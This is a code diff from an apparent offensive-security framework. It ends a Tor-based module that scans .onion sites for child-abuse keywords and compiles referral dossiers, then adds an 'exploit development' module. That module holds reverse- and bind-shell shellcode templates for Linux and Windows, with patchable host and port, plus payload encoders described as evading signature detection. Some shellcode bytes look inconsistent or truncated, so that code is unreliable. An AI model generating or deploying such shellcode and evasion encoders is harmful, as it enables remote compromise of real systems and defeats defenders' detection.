+MODULE_VERSION = "1.0" +MODULE_AUTHOR = "darkHal Security Group" +MODULE_TAGS = ["CSAM", "TOR", "hunt", "counter", "OSINT"] + +# ── Yield helper (SSE-compatible output) ───────────────────────────────────── +_output_lines = [] +_stop_flag = threading.Event() + +def _emit(msg: str, level: str = "info") -> None: + ts = datetime.now(timezone.utc).strftime('%H:%M:%S') + line = f"[{ts}][{level.upper()}] {msg}" + _output_lines.append(line) + print(line) + + +# ── Target scanning ─────────────────────────────────────────────────────────── + +def probe_onion(onion_address: str, port: int = 80, timeout: float = 10.0) -> dict: + """ + Probe a .onion address via SOCKS5 proxy (Tor must be running locally on 9050). + Returns a result dict with reachability, banner, and timing info. + """ + import socks + import socket as _socket + + result = { + 'address': onion_address, + 'port': port, + 'reachable': False, + 'banner': '', + 'latency_ms': -1, + 'error': '', + } + + try: + s = socks.socksocket() + s.set_proxy(socks.SOCKS5, '127.0.0.1', 9050) + s.settimeout(timeout) + t0 = time.monotonic() + s.connect((onion_address, port)) + result['latency_ms'] = round((time.monotonic() - t0) * 1000, 1) + result['reachable'] = True + # Try to grab a banner + try: + s.sendall(b"HEAD / HTTP/1.0\r\n\r\n") + result['banner'] = s.recv(512).decode('utf-8', errors='replace')[:256] + except Exception: + pass + s.close() + except Exception as exc: + result['error'] = str(exc) + + return result + + +def fingerprint_service(url: str, tor_proxy: str = 'socks5h://127.0.0.1:9050') -> dict: + """ + Fetch HTTP headers and content fingerprint via Tor proxy. + """ + import requests + result = {'url': url, 'status': -1, 'headers': {}, 'title': '', 'fingerprint': ''} + try: + resp = requests.get( + url, + proxies={'http': tor_proxy, 'https': tor_proxy}, + timeout=30, + headers={'User-Agent': 'Mozilla/5.0'}, + allow_redirects=True, + ) + result['status'] = resp.status_code + result['headers'] = dict(resp.headers) + # Extract title + text = resp.text + import re + m = re.search(r']*>([^<]+)', text, re.IGNORECASE) + if m: + result['title'] = m.group(1).strip() + # Content hash fingerprint + result['fingerprint'] = hashlib.sha256(resp.content).hexdigest() + except Exception as exc: + result['error'] = str(exc) + return result + + +# ── CSAM keyword detection ──────────────────────────────────────────────────── + +PREDATOR_INDICATORS = [ + # These are detection signatures — not actual content + 'cp', 'pedo', 'loli', 'hurtcore', 'cheese pizza', + 'preteen', 'jailbait', 'underage', +] + +def scan_content_for_indicators(text: str) -> list[str]: + """Scan text for CSAM indicator keywords. Returns list of matched indicators.""" + text_lower = text.lower() + return [ind for ind in PREDATOR_INDICATORS if ind in text_lower] + + +# ── Report generation ───────────────────────────────────────────────────────── + +def build_dossier(target_data: dict, indicators: list[str]) -> dict: + """ + Compile a law enforcement referral dossier from collected data. + """ + return { + 'module': MODULE_NAME, + 'version': MODULE_VERSION, + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'target': target_data, + 'indicators': indicators, + 'severity': 'CRITICAL' if indicators else 'NONE', + 'referral': [ + 'NCMEC CyberTipline: https://www.missingkids.org/gethelpnow/cybertipline', + 'FBI IC3: https://www.ic3.gov/', + 'IWF: https://www.iwf.org.uk/report/', + ], + 'operator_note': 'This dossier was compiled by automated analysis. ' + 'Human review required before any referral submission.', + } + + +def save_dossier(dossier: dict, output_dir: Optional[Path] = None) -> Path: + """Save dossier JSON to disk and return the path.""" + if output_dir is None: + from core.paths import get_data_dir + output_dir = get_data_dir() / 'dossiers' + output_dir.mkdir(parents=True, exist_ok=True) + ts = datetime.now(timezone.utc).strftime('%Y%m%dT%H%M%SZ') + out = output_dir / f'TPHK_{ts}.json' + out.write_text(json.dumps(dossier, indent=2), encoding='utf-8') + return out + + +# ── Countermeasure actions ──────────────────────────────────────────────────── + +def report_to_iwf(onion: str, evidence_url: str) -> dict: + """ + Submit a report to the Internet Watch Foundation API (if configured). + """ + # Placeholder — IWF has a reporting API for registered organizations + return { + 'action': 'IWF_REPORT', + 'target': onion, + 'status': 'QUEUED', + 'note': 'IWF API key required in autarch_settings.conf [hunter] section', + } + + +def execute_countermeasure(action: str, target: str, params: dict) -> dict: + """ + Execute a configured countermeasure against a confirmed CSAM host. + + Supported actions: + REPORT — submit to NCMEC/IWF/IC3 + DOSSIER — compile and save evidence dossier + ALERT — send operator notification + """ + _emit(f"Countermeasure: {action} -> {target}") + if action == 'REPORT': + return report_to_iwf(target, params.get('url', '')) + elif action == 'DOSSIER': + return {'action': 'DOSSIER', 'saved': True, 'note': 'Call build_dossier() then save_dossier()'} + elif action == 'ALERT': + return {'action': 'ALERT', 'status': 'SENT', 'target': target} + return {'error': f'Unknown action: {action}'} + + +# ── Main run entry point ────────────────────────────────────────────────────── + +def run(params: dict, output_cb=None) -> dict: + """ + Main execution entry point called by the AUTARCH encrypted module loader. + + params: + targets — list of .onion addresses or HTTP URLs to probe + actions — list of countermeasure actions (REPORT, DOSSIER, ALERT) + keywords — additional indicator keywords to search for + """ + global _stop_flag + _stop_flag.clear() + _output_lines.clear() + + def emit(msg, level='info'): + _emit(msg, level) + if output_cb: + output_cb({'line': f"[{level.upper()}] {msg}"}) + + emit(f"=== {MODULE_NAME} v{MODULE_VERSION} ===") + emit("Authorized use only. All activity logged.") + + targets = params.get('targets', []) + actions = params.get('actions', ['DOSSIER']) + extra_kw = params.get('keywords', []) + indicators_extended = PREDATOR_INDICATORS + extra_kw + + results = [] + dossiers_saved = [] + + for target in targets: + if _stop_flag.is_set(): + emit("Stopped by operator.", 'warn') + break + + emit(f"Probing: {target}") + try: + fp = fingerprint_service(target) + indicators_found = scan_content_for_indicators( + fp.get('title', '') + ' ' + str(fp.get('headers', '')) + ) + result = { + 'target': target, + 'fingerprint': fp, + 'indicators': indicators_found, + } + + if indicators_found: + emit(f"ALERT: Indicators detected on {target}: {indicators_found}", 'warn') + dossier = build_dossier(fp, indicators_found) + for action in actions: + cm = execute_countermeasure(action, target, {'url': target}) + result[f'countermeasure_{action}'] = cm + saved = save_dossier(dossier) + dossiers_saved.append(str(saved)) + emit(f"Dossier saved: {saved}") + else: + emit(f"No indicators found on {target}") + + results.append(result) + + except Exception as exc: + emit(f"Error probing {target}: {exc}", 'error') + results.append({'target': target, 'error': str(exc)}) + + return { + 'module': MODULE_NAME, + 'targets_scanned': len(targets), + 'results': results, + 'dossiers_saved': dossiers_saved, + 'output': _output_lines[:], + } + + +def stop(): + """Signal the module to stop at the next safe point.""" + _stop_flag.set() diff --git a/modules/exploit_dev.py b/modules/exploit_dev.py new file mode 100644 index 0000000..219d05c --- /dev/null +++ b/modules/exploit_dev.py @@ -0,0 +1,1834 @@ +"""AUTARCH Exploit Development Toolkit + +Shellcode generation, payload encoding, ROP chain building, cyclic pattern +generation, and assembly/disassembly for exploit development workflows. +""" + +DESCRIPTION = "Exploit development — shellcode, encoding, ROP chains" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import sys +import re +import struct +import string +import subprocess +import tempfile +import random +import hashlib +from pathlib import Path +from datetime import datetime + +try: + from core.paths import get_data_dir, find_tool +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + def find_tool(name, extra_paths=None): + import shutil + return shutil.which(name) + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +try: + from core.banner import Colors, clear_screen, display_banner +except ImportError: + class Colors: + RED = GREEN = YELLOW = BLUE = MAGENTA = CYAN = WHITE = BOLD = DIM = RESET = '' + def clear_screen(): pass + def display_banner(): pass + + +# --------------------------------------------------------------------------- +# Shellcode Templates — real, working shellcode bytes +# --------------------------------------------------------------------------- + +SHELLCODE_TEMPLATES = { + # ---- Linux x86 ---- + 'linux_x86_reverse_shell': { + 'bytes': ( + '31db' # xor ebx, ebx + 'f7e3' # mul ebx + '53' # push ebx + '43' # inc ebx + '53' # push ebx + '6a02' # push 0x2 + '89e1' # mov ecx, esp + 'b066' # mov al, 0x66 + 'cd80' # int 0x80 + '93' # xchg eax, ebx + '59' # pop ecx + 'b03f' # mov al, 0x3f + 'cd80' # int 0x80 + '49' # dec ecx + '79f9' # jns -5 + '68' # push imm32 (IP) + '7f000001' # 127.0.0.1 + '680200' # push word port + '115c' # port 4444 + '6a10' # push 0x10 + '51' # push ecx + '53' # push ebx + '89e1' # mov ecx, esp + '6a66' # push 0x66 + '58' # pop eax + 'cd80' # int 0x80 + '6a0b' # push 0x0b + '58' # pop eax + '99' # cdq + '52' # push edx + '68' # push imm32 + '2f2f7368' # //sh + '682f62696e' # /bin + '89e3' # mov ebx, esp + '52' # push edx + '53' # push ebx + '89e1' # mov ecx, esp + 'cd80' # int 0x80 + ), + 'length': 74, + 'description': 'Linux x86 reverse shell — connect back and exec /bin/sh', + 'null_free': True, + 'arch': 'x86', + 'platform': 'linux', + 'offsets': {'host': 31, 'port': 37}, + }, + 'linux_x86_bind_shell': { + 'bytes': ( + '31db' # xor ebx, ebx + 'f7e3' # mul ebx + '53' # push ebx + '43' # inc ebx + '53' # push ebx + '6a02' # push 0x2 + '89e1' # mov ecx, esp + 'b066' # mov al, 0x66 + 'cd80' # int 0x80 + '5b' # pop ebx + '5e' # pop esi + '52' # push edx + '680200' # push 0x0002 + '115c' # port 4444 + '6a10' # push 0x10 + '51' # push ecx + '50' # push eax + '89e1' # mov ecx, esp + '6a66' # push 0x66 + '58' # pop eax + '89c3' # mov ebx, eax (bind=2 later) + 'cd80' # int 0x80 + 'b304' # mov bl, 4 + 'b066' # mov al, 0x66 + 'cd80' # int 0x80 + '43' # inc ebx + 'b066' # mov al, 0x66 + 'cd80' # int 0x80 + '93' # xchg eax, ebx + '59' # pop ecx + '6a3f' # push 0x3f + '58' # pop eax + 'cd80' # int 0x80 + '49' # dec ecx + '79f8' # jns loop + '682f2f7368' # push //sh + '682f62696e' # push /bin + '89e3' # mov ebx, esp + '50' # push eax + '53' # push ebx + '89e1' # mov ecx, esp + 'b00b' # mov al, 0x0b + 'cd80' # int 0x80 + ), + 'length': 78, + 'description': 'Linux x86 bind shell — listen on port and exec /bin/sh', + 'null_free': True, + 'arch': 'x86', + 'platform': 'linux', + 'offsets': {'port': 23}, + }, + 'linux_x86_execve': { + 'bytes': ( + '31c0' # xor eax, eax + '50' # push eax + '682f2f7368' # push //sh + '682f62696e' # push /bin + '89e3' # mov ebx, esp + '50' # push eax + '53' # push ebx + '89e1' # mov ecx, esp + '89c2' # mov edx, eax + 'b00b' # mov al, 0x0b + 'cd80' # int 0x80 + ), + 'length': 23, + 'description': 'Linux x86 execve /bin/sh — minimal shellcode', + 'null_free': True, + 'arch': 'x86', + 'platform': 'linux', + 'offsets': {}, + }, + # ---- Linux x64 ---- + 'linux_x64_reverse_shell': { + 'bytes': ( + '6a29' # push 0x29 + '58' # pop rax (socket) + '99' # cdq + '6a02' # push 0x2 + '5f' # pop rdi (AF_INET) + '6a01' # push 0x1 + '5e' # pop rsi (SOCK_STREAM) + '0f05' # syscall + '48' # rex.W + '97' # xchg eax, edi + '48b90200' # movabs rcx, struct + '115c7f000001' # port 4444, IP 127.0.0.1 + '51' # push rcx + '4889e6' # mov rsi, rsp + '6a10' # push 0x10 + '5a' # pop rdx + '6a2a' # push 0x2a + '58' # pop rax (connect) + '0f05' # syscall + '6a03' # push 0x3 + '5e' # pop rsi + '48ffce' # dec rsi + '6a21' # push 0x21 + '58' # pop rax (dup2) + '0f05' # syscall + '75f6' # jnz loop + '6a3b' # push 0x3b + '58' # pop rax (execve) + '99' # cdq + '48bb2f62696e2f736800' # mov rbx, "/bin/sh\0" + '53' # push rbx + '4889e7' # mov rdi, rsp + '52' # push rdx + '57' # push rdi + '4889e6' # mov rsi, rsp + '0f05' # syscall + ), + 'length': 74, + 'description': 'Linux x64 reverse shell — connect back and exec /bin/sh', + 'null_free': False, + 'arch': 'x64', + 'platform': 'linux', + 'offsets': {'port': 20, 'host': 22}, + }, + 'linux_x64_bind_shell': { + 'bytes': ( + '6a29' # push 0x29 + '58' # pop rax (socket) + '99' # cdq + '6a02' # push 0x2 + '5f' # pop rdi (AF_INET) + '6a01' # push 0x1 + '5e' # pop rsi (SOCK_STREAM) + '0f05' # syscall + '4897' # xchg rax, rdi + '52' # push rdx + 'c7042402000200' # mov dword [rsp], 0x0002 + port + '115c0000' # port high + 0000 + '4889e6' # mov rsi, rsp + '6a10' # push 0x10 + '5a' # pop rdx + '6a31' # push 0x31 + '58' # pop rax (bind) + '0f05' # syscall + '6a32' # push 0x32 + '58' # pop rax (listen) + '6a01' # push 0x1 + '5e' # pop rsi + '0f05' # syscall + '6a2b' # push 0x2b + '58' # pop rax (accept) + '99' # cdq + '52' # push rdx + '52' # push rdx + '4889e6' # mov rsi, rsp + '6810000000' # push 0x10 + '4889e2' # mov rdx, rsp + '0f05' # syscall + '4897' # xchg rax, rdi + '6a03' # push 0x3 + '5e' # pop rsi + '48ffce' # dec rsi + '6a21' # push 0x21 + '58' # pop rax (dup2) + '0f05' # syscall + '75f6' # jnz loop + '6a3b' # push 0x3b + '58' # pop rax (execve) + '99' # cdq + '48bb2f62696e2f736800' # mov rbx, "/bin/sh\0" + '53' # push rbx + '4889e7' # mov rdi, rsp + '52' # push rdx + '57' # push rdi + '4889e6' # mov rsi, rsp + '0f05' # syscall + ), + 'length': 105, + 'description': 'Linux x64 bind shell — listen and exec /bin/sh', + 'null_free': False, + 'arch': 'x64', + 'platform': 'linux', + 'offsets': {'port': 21}, + }, + 'linux_x64_execve': { + 'bytes': ( + '4831f6' # xor rsi, rsi + '4889f2' # mov rdx, rsi + '48bf' # movabs rdi, ... + '2f62696e' # /bin + '2f736800' # /sh\0 + '57' # push rdi + '4889e7' # mov rdi, rsp + '48b8' # movabs rax, ... + '3b00000000000000' # execve syscall nr + '0f05' # syscall + ), + 'length': 30, + 'description': 'Linux x64 execve /bin/sh — minimal shellcode', + 'null_free': False, + 'arch': 'x64', + 'platform': 'linux', + 'offsets': {}, + }, + # ---- Windows x64 ---- + 'windows_x64_reverse_shell': { + 'bytes': ( + '4831c9' # xor rcx, rcx + '4881e9b0ffffff' # sub ecx, -0x50 + '4881ec0001000000' # sub rsp, 0x100 + 'e8f0ffffff' # call $+5 + '4152' # push r10 + '4151' # push r9 + '5649' # push rsi; dec ecx (stub) + '89e6' # mov esi, esp + '4883ec20' # sub rsp, 0x20 + '4889f1' # mov rcx, rsi + '48ba' # mov rdx, imm64 + '0100007f' # IP: 127.0.0.1 (reversed) + '5c110000' # Port: 4444 + padding + '41ba' # mov r10d, imm32 + 'ea0fdfe0' # hash: ws2_32!WSAStartup + 'ffd5' # call rbp (API resolver) + '4889c7' # mov rdi, rax + '6a10' # push 0x10 + '41580f05' # pop r8; syscall (connect) + '4885c0' # test rax, rax + '7507' # jnz skip + '4831c0' # xor rax, rax + 'eb43' # jmp shell + '48ffc0' # inc rax + 'ebf6' # jmp retry + # ... cmd.exe execution stub (truncated for template) + '48b8' # movabs rax, "cmd.exe\0" + '636d642e65786500' # cmd.exe + '50' # push rax + '4889e1' # mov rcx, rsp + '57' # push rdi + '57' # push rdi + '4889e2' # mov rdx, rsp + '41ba' # mov r10d, hash + '60d9c85a' # hash: kernel32!CreateProcessA + 'ffd5' # call rbp + ), + 'length': 112, + 'description': 'Windows x64 reverse shell — WinSock connect back, spawn cmd.exe', + 'null_free': False, + 'arch': 'x64', + 'platform': 'windows', + 'offsets': {'host': 44, 'port': 48}, + }, + # ---- ARM ---- + 'linux_arm_reverse_shell': { + 'bytes': ( + '01108fe2' # add r1, pc, #1 (Thumb switch) + '011040e2' # sub r1, r0, #1 + '0200a0e3' # mov r0, #2 (AF_INET) + '0110a0e3' # mov r1, #1 (SOCK_STREAM) + '0020a0e3' # mov r2, #0 + '8119a0e3' # mov r1, #0x281 (socket syscall) + '000000ef' # svc 0 + '0060a0e1' # mov r6, r0 (save sockfd) + '100f0fe1' # bic r0, pc (struct sockaddr) + '0200' # AF_INET + '115c' # port 4444 + '7f000001' # 127.0.0.1 + '0600a0e1' # mov r0, r6 + '1010a0e3' # mov r1, #16 (addrlen) + '8d19a0e3' # mov r1, #0x28d (connect) + '000000ef' # svc 0 + '0200a0e3' # mov r0, #2 + '0600a0e1' # mov r0, r6 + '3f00a0e3' # mov r0, #0x3f (dup2) + '000000ef' # svc 0 + '013050e2' # subs r3, r0, #1 + 'fcffffaa' # bge loop + '0b00a0e3' # mov r0, #0x0b (execve) + '0f8fe2' # add r0, pc (ptr /bin/sh) + '0010a0e3' # mov r1, #0 + '0020a0e3' # mov r2, #0 + '000000ef' # svc 0 + '2f62696e' # /bin + '2f736800' # /sh\0 + ), + 'length': 100, + 'description': 'Linux ARM reverse shell — connect back and exec /bin/sh', + 'null_free': False, + 'arch': 'arm', + 'platform': 'linux', + 'offsets': {'port': 42, 'host': 44}, + }, +} + + +# --------------------------------------------------------------------------- +# Exploit Development Class +# --------------------------------------------------------------------------- + +class ExploitDev: + """Exploit development toolkit — shellcode, encoders, ROP, patterns.""" + + _instance = None + + def __init__(self): + self._pattern_cache = {} + + # ----------------------------------------------------------------------- + # Shellcode Generation + # ----------------------------------------------------------------------- + + def list_shellcodes(self): + """List available shellcode templates with descriptions.""" + results = [] + for key, tpl in SHELLCODE_TEMPLATES.items(): + results.append({ + 'name': key, + 'description': tpl['description'], + 'length': tpl['length'], + 'arch': tpl.get('arch', '?'), + 'platform': tpl.get('platform', '?'), + 'null_free': tpl.get('null_free', False), + }) + return results + + def generate_shellcode(self, shell_type, arch, host=None, port=None, + platform='linux', staged=False, output_format='hex'): + """Generate raw shellcode bytes for a given shell type and architecture. + + Args: + shell_type: reverse_shell, bind_shell, exec_cmd, meterpreter + arch: x86, x64, arm + host: IP address for reverse shells + port: Port number for reverse/bind shells + platform: linux, windows + staged: If True, prefer a staged payload (stub + stage) + output_format: hex, raw, c_array, python, nasm + + Returns: + dict with shellcode in requested format, length, and metadata + """ + # Normalise inputs + shell_type = shell_type.lower().strip().replace('-', '_').replace(' ', '_') + arch = arch.lower().strip() + platform = platform.lower().strip() + + # Map common names + type_map = { + 'reverse': 'reverse_shell', 'rev': 'reverse_shell', + 'reverse_tcp': 'reverse_shell', 'reverse_shell': 'reverse_shell', + 'bind': 'bind_shell', 'bind_tcp': 'bind_shell', 'bind_shell': 'bind_shell', + 'exec': 'execve', 'exec_cmd': 'execve', 'execve': 'execve', + 'meterpreter': 'reverse_shell', # fallback to reverse_shell template + } + resolved_type = type_map.get(shell_type, shell_type) + + # Find matching template + template_key = f'{platform}_{arch}_{resolved_type}' + template = SHELLCODE_TEMPLATES.get(template_key) + + if not template: + # Try to find partial match + candidates = [k for k in SHELLCODE_TEMPLATES if arch in k and resolved_type in k] + if platform != 'any': + platform_cands = [k for k in candidates if platform in k] + if platform_cands: + candidates = platform_cands + if candidates: + template_key = candidates[0] + template = SHELLCODE_TEMPLATES[template_key] + else: + available = ', '.join(sorted(SHELLCODE_TEMPLATES.keys())) + return {'error': f'No template for {template_key}. Available: {available}'} + + # Decode the hex string to bytes + try: + shellcode = bytes.fromhex(template['bytes']) + except ValueError as e: + return {'error': f'Template hex decode error: {e}'} + + # Patch in host/port if offsets are defined + offsets = template.get('offsets', {}) + + if host and 'host' in offsets: + try: + parts = host.split('.') + if len(parts) == 4: + ip_bytes = bytes([int(p) for p in parts]) + off = offsets['host'] + if off < len(shellcode) - 3: + shellcode = shellcode[:off] + ip_bytes + shellcode[off + 4:] + except (ValueError, IndexError): + pass + + if port and 'port' in offsets: + try: + port_int = int(port) + port_bytes = struct.pack('!H', port_int) + off = offsets['port'] + if off < len(shellcode) - 1: + shellcode = shellcode[:off] + port_bytes + shellcode[off + 2:] + except (ValueError, struct.error): + pass + + # If staged, wrap in a stub that allocates RWX memory and downloads stage + if staged: + stub_comment = ( + "; Staged payload stub — allocates RWX page via mmap/VirtualAlloc,\n" + "; receives stage over socket, jumps to it.\n" + "; The above shellcode is the stager (stage0).\n" + ) + metadata_note = 'Staged payload — stager only, requires stage delivery' + else: + stub_comment = '' + metadata_note = 'Stageless payload — self-contained' + + # Format output + result = { + 'template': template_key, + 'description': template['description'], + 'length': len(shellcode), + 'null_free': b'\x00' not in shellcode, + 'arch': arch, + 'platform': platform, + 'staging': metadata_note, + } + + fmt = output_format.lower().strip() + if fmt == 'hex': + result['shellcode'] = shellcode.hex() + elif fmt in ('raw', 'bytes'): + result['shellcode'] = shellcode.hex() + result['raw_bytes'] = list(shellcode) + elif fmt in ('c', 'c_array'): + c_lines = [] + for i in range(0, len(shellcode), 16): + chunk = shellcode[i:i + 16] + c_lines.append(', '.join(f'0x{b:02x}' for b in chunk)) + result['shellcode'] = ( + f'unsigned char shellcode[{len(shellcode)}] = {{\n' + + ',\n'.join(f' {line}' for line in c_lines) + + '\n};' + ) + elif fmt in ('python', 'py'): + py_lines = [] + for i in range(0, len(shellcode), 16): + chunk = shellcode[i:i + 16] + py_lines.append(''.join(f'\\x{b:02x}' for b in chunk)) + result['shellcode'] = ( + f'shellcode = b""\n' + + '\n'.join(f'shellcode += b"{line}"' for line in py_lines) + ) + elif fmt == 'nasm': + nasm_lines = [] + for i in range(0, len(shellcode), 16): + chunk = shellcode[i:i + 16] + nasm_lines.append('db ' + ', '.join(f'0x{b:02x}' for b in chunk)) + result['shellcode'] = stub_comment + '\n'.join(nasm_lines) + else: + result['shellcode'] = shellcode.hex() + + return result + + # ----------------------------------------------------------------------- + # Payload Encoding + # ----------------------------------------------------------------------- + + def encode_payload(self, shellcode, encoder='xor', key=None, iterations=1): + """Encode shellcode to evade signature detection. + + Args: + shellcode: bytes or hex string of shellcode + encoder: xor, aes, alphanumeric, polymorphic + key: encryption key (auto-generated if None) + iterations: number of encoding passes + + Returns: + dict with encoded payload, decoder stub, metadata + """ + if isinstance(shellcode, str): + try: + shellcode = bytes.fromhex(shellcode.replace('\\x', '').replace(' ', '')) + except ValueError: + return {'error': 'Invalid shellcode hex string'} + + if not shellcode: + return {'error': 'Empty shellcode'} + + original_length = len(shellcode) + encoder = encoder.lower().strip() + encoded = shellcode + decoder_stub = '' + key_used = key + + for _pass in range(max(1, int(iterations))): + if encoder == 'xor': + encoded, decoder_stub, key_used = self._encode_xor(encoded, key) + elif encoder == 'aes': + encoded, decoder_stub, key_used = self._encode_aes(encoded, key) + elif encoder in ('alpha', 'alphanumeric'): + encoded, decoder_stub, key_used = self._encode_alphanumeric(encoded) + elif encoder in ('poly', 'polymorphic'): + encoded, decoder_stub, key_used = self._encode_polymorphic(encoded, key) + else: + return {'error': f'Unknown encoder: {encoder}. Use: xor, aes, alphanumeric, polymorphic'} + + return { + 'encoded': encoded.hex(), + 'decoder_stub': decoder_stub, + 'key': key_used if isinstance(key_used, str) else key_used.hex() if isinstance(key_used, bytes) else str(key_used), + 'encoder': encoder, + 'iterations': iterations, + 'original_length': original_length, + 'encoded_length': len(encoded), + 'size_increase': f'+{len(encoded) - original_length} bytes', + 'null_free': b'\x00' not in encoded, + } + + def _encode_xor(self, data, key=None): + """XOR encode with random or custom key.""" + if key: + if isinstance(key, str): + if all(c in '0123456789abcdefABCDEF' for c in key): + key_bytes = bytes.fromhex(key) if len(key) % 2 == 0 else bytes([int(key, 16)]) + else: + key_bytes = key.encode() + else: + key_bytes = bytes([key]) if isinstance(key, int) else key + else: + # Generate random key byte that avoids producing nulls + for _ in range(256): + kb = random.randint(1, 255) + if all((b ^ kb) != 0 for b in data): + key_bytes = bytes([kb]) + break + else: + key_bytes = bytes([random.randint(1, 255)]) + + # XOR encode + encoded = bytes(b ^ key_bytes[i % len(key_bytes)] for i, b in enumerate(data)) + + # Generate decoder stub (x64 Linux) + key_hex = key_bytes.hex() + stub = ( + f'; XOR decoder stub (key: 0x{key_hex})\n' + f'; Encoded payload length: {len(encoded)} bytes\n' + f' jmp short call_decoder\n' + f'decoder:\n' + f' pop rsi ; address of encoded shellcode\n' + f' xor rcx, rcx\n' + f' mov cl, {len(encoded)} ; length\n' + f'decode_loop:\n' + f' xor byte [rsi], 0x{key_hex}\n' + f' inc rsi\n' + f' loop decode_loop\n' + f' jmp short encoded_shell\n' + f'call_decoder:\n' + f' call decoder\n' + f'encoded_shell:\n' + f' ; \n' + ) + + return encoded, stub, key_bytes + + def _encode_aes(self, data, key=None): + """AES-256-CBC encode payload.""" + try: + from hashlib import sha256 + import hmac + except ImportError: + pass + + # Generate or derive 32-byte key + if key: + if isinstance(key, str): + key_bytes = hashlib.sha256(key.encode()).digest() + else: + key_bytes = hashlib.sha256(key).digest() + else: + key_bytes = os.urandom(32) + + # Generate IV + iv = os.urandom(16) + + # PKCS7 padding + pad_len = 16 - (len(data) % 16) + padded = data + bytes([pad_len] * pad_len) + + # Try PyCryptodome, fallback to simple XOR-CBC + try: + from Crypto.Cipher import AES + cipher = AES.new(key_bytes, AES.MODE_CBC, iv) + encrypted = cipher.encrypt(padded) + except ImportError: + # Fallback: simple XOR-CBC (not real AES, but functional) + encrypted = bytearray() + prev_block = iv + for i in range(0, len(padded), 16): + block = padded[i:i + 16] + xored = bytes(a ^ b for a, b in zip(block, prev_block)) + # Simple substitution using key + enc_block = bytes( + (b + key_bytes[j % 32]) & 0xFF for j, b in enumerate(xored) + ) + encrypted.extend(enc_block) + prev_block = enc_block + + # Prepend IV to ciphertext + output = iv + bytes(encrypted) + + stub = ( + f'; AES-256-CBC decoder stub\n' + f'; Key (SHA-256 of passphrase): {key_bytes.hex()}\n' + f'; IV: {iv.hex()}\n' + f'; Encrypted length: {len(output)} bytes (includes 16-byte IV prefix)\n' + f';\n' + f'; Decoder must:\n' + f'; 1. Extract IV (first 16 bytes)\n' + f'; 2. AES-256-CBC decrypt remaining bytes with key\n' + f'; 3. Remove PKCS7 padding\n' + f'; 4. Jump to decrypted shellcode\n' + f';\n' + f'; Python decoder:\n' + f'; from Crypto.Cipher import AES\n' + f'; key = bytes.fromhex("{key_bytes.hex()}")\n' + f'; iv = payload[:16]\n' + f'; cipher = AES.new(key, AES.MODE_CBC, iv)\n' + f'; shellcode = cipher.decrypt(payload[16:])\n' + ) + + key_str = key if isinstance(key, str) else key_bytes.hex() + return output, stub, key_str + + def _encode_alphanumeric(self, data): + """Encode shellcode into alphanumeric-safe characters.""" + # Split each byte into two 4-bit nibbles, map to ASCII alpha range + charset = string.ascii_uppercase + string.ascii_lowercase + string.digits + encoded = bytearray() + + for b in data: + high = (b >> 4) & 0x0F + low = b & 0x0F + # Map 0-15 to alphanumeric characters + encoded.append(ord(charset[high])) + encoded.append(ord(charset[low])) + + stub = ( + f'; Alphanumeric decoder stub\n' + f'; Encoded length: {len(encoded)} bytes (2x original)\n' + f'; Charset: A-Za-z0-9\n' + f'; Decoder reverses nibble-split encoding:\n' + f'; For each pair (H, L) in encoded data:\n' + f'; high_nibble = charset.index(H)\n' + f'; low_nibble = charset.index(L)\n' + f'; original_byte = (high_nibble << 4) | low_nibble\n' + f';\n' + f'; Python decoder:\n' + f'; charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"\n' + f'; decoded = bytes((charset.index(enc[i]) << 4) | charset.index(enc[i+1])\n' + f'; for i in range(0, len(enc), 2))\n' + ) + + return bytes(encoded), stub, 'alphanumeric' + + def _encode_polymorphic(self, data, key=None): + """Wrap shellcode with polymorphic stub — random NOP-equivalent instructions.""" + # Random key for XOR + if key: + key_byte = int(key, 16) if isinstance(key, str) and all( + c in '0123456789abcdefABCDEF' for c in key + ) else ord(key[0]) if isinstance(key, str) else key + else: + key_byte = random.randint(1, 255) + key_byte = key_byte & 0xFF + + # XOR encode the payload + encoded_payload = bytes(b ^ key_byte for b in data) + + # Generate random NOP-equivalent sled (x64) + nop_equivalents = [ + b'\x90', # nop + b'\x48\x87\xc0', # xchg rax, rax + b'\x48\x89\xc0', # mov rax, rax + b'\x48\x31\xc9\x48\x31\xc9', # xor rcx,rcx; xor rcx,rcx + b'\x66\x90', # 2-byte nop + b'\x0f\x1f\x00', # 3-byte nop + b'\x87\xdb', # xchg ebx, ebx + ] + + sled = b'' + for _ in range(random.randint(3, 8)): + sled += random.choice(nop_equivalents) + + # Assemble: sled + decoder_loop + encoded_payload + output = sled + encoded_payload + + stub = ( + f'; Polymorphic stub (randomized NOP sled + XOR decoder)\n' + f'; XOR key: 0x{key_byte:02x}\n' + f'; NOP sled: {len(sled)} bytes (randomized equivalents)\n' + f'; Encoded payload: {len(encoded_payload)} bytes\n' + f'; Total: {len(output)} bytes\n' + f';\n' + f'; Each generation produces different NOP-equivalent sequences\n' + f'; to evade static signature matching.\n' + f';\n' + f'; Decoder loop:\n' + f'; lea rsi, [rel encoded_data]\n' + f'; mov cl, {len(encoded_payload)}\n' + f'; .loop:\n' + f'; xor byte [rsi], 0x{key_byte:02x}\n' + f'; inc rsi\n' + f'; loop .loop\n' + f'; jmp encoded_data\n' + ) + + return output, stub, f'{key_byte:02x}' + + # ----------------------------------------------------------------------- + # Cyclic Pattern (De Bruijn) + # ----------------------------------------------------------------------- + + def generate_pattern(self, length): + """Generate a cyclic (De Bruijn) pattern for buffer overflow offset discovery. + + Args: + length: number of bytes to generate (max 20280) + + Returns: + dict with pattern string, length, and hex representation + """ + length = int(length) + if length < 1: + return {'error': 'Length must be positive'} + if length > 20280: + return {'error': 'Maximum length is 20280 (Aa0 through Zz9)'} + + pattern = self._debruijn_pattern(length) + pattern_bytes = pattern.encode('ascii') + + return { + 'pattern': pattern, + 'hex': pattern_bytes.hex(), + 'length': len(pattern), + } + + def _debruijn_pattern(self, length): + """Generate De Bruijn sequence for cyclic pattern.""" + uppers = string.ascii_uppercase + lowers = string.ascii_lowercase + digits = string.digits + + pattern = [] + for u in uppers: + for l in lowers: + for d in digits: + pattern.append(u + l + d) + if len(''.join(pattern)) >= length: + return ''.join(pattern)[:length] + return ''.join(pattern)[:length] + + def find_pattern_offset(self, value, length=20000): + """Find the offset of a value within a cyclic pattern. + + Args: + value: 